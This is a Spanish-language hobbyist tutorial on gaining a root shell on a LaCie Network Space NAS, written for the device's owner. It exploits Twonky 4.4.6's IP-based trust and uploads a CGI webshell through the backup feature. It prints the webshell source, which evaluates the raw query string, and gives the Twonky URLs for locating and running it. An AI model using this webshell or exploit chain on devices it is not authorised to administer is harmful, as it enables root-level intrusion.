Explicación paso a paso (leer por una vez este manual antes de empezar)
El objetivo es conseguir un "shell" de linux desde el que se pueda administrar la unidad. Vamos, desde el que se pueda hacer una administración avanzada de la unidad.
Lo vamos a hacer sin romper los precintos de garantía, explotando un poco las características de la NAS. Esto no quiere decir que todo el proceso sea inocuo y que no podamos destrozar la unidad.
Además hay que considerar que aunque no se rompa el precinto "WARRANTY VOID IF REMOVED" probablemente el aparato quede fuera de garantía de todas las maneras.
La mayor parte de la información de esta página procede de la lectura, o es la traducción al castellano, de una recopilación de los trabajos publicados en:
El éxito de nuestro trabajo se basa en una característica del Twonky 4.4.6; por defecto se establece una relación de confianza cuando las direcciones IP del servidor (NAS) y del cliente (nuestro ordenador) se configuran apropiadamente.
Necesitamos acceder a la NAS por el puerto 9000, pero para eso es preciso que haya una determinada relación entre la IP de la NAS y la del cliente con el que accedemos.
La facilidad de Twonky que vamos a utilizar requiere que las direcciones del cliente y de la NAS tengan un primer dígito decimal idéntico en la posición de más valor del último octeto de la IP; algo así como esto:
tu equipo: 192.168.1.6; NAS: 192.168.1.64 tu equipo: 192.168.1.6; NAS: 192.168.1.66 tu equipo: 192.168.1.7; NAS: 192.168.1.77 tu equipo: 192.168.0.2; NAS: 192.168.0.22
¿Verdad que es más difícil leer la letra que ver los números?
Una lectura detallada de NetworkSpaces Multimedia Servers puede ayudar a profundizar en la materia.
Una vez configurados los equipos podemos continuar con la inyección de código.
El primer paso es lograr un "webshell", es decir, una pasarela para enviar comandos desde el navegador. Cuando seamos capaces de ejecutar cosillas iremos entrando poco a poco hasta lograr un shell de ventanuca.
Este es el código del archivo "webshell":
#!/bin/sh echo "Content-type: text/plain" echo "" echo $QUERY_STRING eval $QUERY_STRING
Y este es el archivo webshell.gz listo para descargar, descomprimir y usar (un detalle de la casa para los más perezosos).
Para los que tengan interés en la confección manual un aviso, los saltos de linea son diferentes en Unix y en Windows, cuidado.
Aunque los nombres no importan, por coherencia dentro de esta explicación dejaremos el archivo en la carpeta "webshell" de una memoria USB "pinchada" en la NAS.
¿Sería más acorde con la intención poner una carpeta 'hack' y un script 'hole'?
El segundo paso es inyectar y encontrar el script en la NAS; nos vamos a ayudar de un formulario
Con la ayuda de este formulario, que debe rellenarse con los valores correctos, enviaremos un archivo.
Pulsamos copiar y esperamos un momento mientras el archivo se copia en la NAS.
A continuación podemos recibir un error o ver la pantalla de generar copia de seguridad. No importa.
Cerramos la siguiente ventana porque el trabajo está hecho. Acabamos de utilizar una función inocente de copia de seguridad para inyectar un poco de código potencialmente peligroso en la NAS.
El archivo se ha copiado en la NAS dentro de una carpeta con una marca de tiempo (del tipo webshell-2009062308061245746927)
Para saber donde está exactamente nuestro amigo el script, escribimos en la barra de direcciones:
http://IP de la NAS:9000/rpc/set_option?contentbase=/
A continuación podemos ir a la página de administración del Twonky:
http://IP de la NAS:9000/config
y desde ahí pedimos al interfaz de Twonky que nos lleve a
/www/cgi-bin/admin/
donde veremos el directorio con la marca de tiempo que contiene nuestro script.
Omito el detalle para no insultar la inteligencia de nuestros avispados lectores. Los más novatos pueden leer la documentación de Twonky, se llega directamente desde la página de configuración de la NAS así que tampoco hay que poner enlaces aquí.
La prueba de que hemos hecho bien los deberes es ejecutar un comando desde la barra de direcciones del navegador:
http://NetworkSpace/cgi-bin/admin/webshell-<marca de tiempo>/webshell?whoami
Con esto verificamos que hemos logrado un shell con permisos de 'root' y estamos listos para empezar con la seguna parte, instalar un telnet en el Lacie Network Space
Busca en Google evitando contenidos inadecuados desde esta página
La búsqueda segura en Google te ayuda a encontrar paginas con contenidos adecuados para toda la familia